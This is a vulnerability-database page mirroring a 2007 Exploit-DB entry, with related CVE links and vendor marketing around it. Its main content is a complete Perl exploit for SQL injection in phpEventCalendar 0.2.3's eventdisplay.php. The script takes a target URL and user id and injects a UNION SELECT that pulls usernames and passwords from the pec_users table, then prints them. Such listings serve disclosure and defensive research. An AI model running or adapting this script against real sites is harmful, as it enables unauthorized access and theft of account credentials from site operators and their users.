Lucene search
+L

phpEventCalendar 0.2.3 - 'eventdisplay.php' SQL Injection

🗓️ 01 Jul 2007 00:00:00Reported by IronType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

phpEventCalendar 0.2.3 SQL Injection www.ikemcg.co

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-3519
24 Jun 201300:00
circl
CVE
CVE-2007-3519
3 Jul 200718:00
cve
Cvelist
CVE-2007-3519
3 Jul 200718:00
cvelist
Exploit DB
phpEventCalendar 0.2.3 - Multiple Vulnerabilities
24 Jun 201300:00
exploitdb
EUVD
EUVD-2007-3503
7 Oct 202500:30
euvd
NVD
CVE-2007-3519
3 Jul 200718:30
nvd
Prion
Sql injection
3 Jul 200718:30
prion
#!/usr/bin/perl
#
#	Vendor url: www.ikemcg.com
#
require LWP::UserAgent;

print "#
# phpEventCalendar <= v0.2.3 SQL Injection Exploit
# By Iron - ironwarez.info
# Thanks to Silentz for the help :)
# Greets to everyone at RootShell Security Group & dHack
#
# Example target url: http://www.target.com/phpeventcalendar/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
	$target = "http://".$target;
}
if($target !~ /\/$/)
{
	$target .= "/";
}
print "User id to retrieve name/password from? (1 = admin)";
chomp($target_id=<stdin>);
$target .= "eventdisplay.php?id=-999%20UNION%20SELECT%20username,password,password%20FROM%20pec_users%20WHERE%20uid=".$target_id;

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
	if($response->content =~ /<span class="display_header">(.*)<\/span>/i)
	{
		($username,$password) = split(/,/,$1);
		print "Username: ".$username;
		print "\nPassword: ".$password;
	}
	else
	{
		print "\nUnable to retrieve username/password.";
	}
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2007-07-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 27.5
EPSS0.01228
37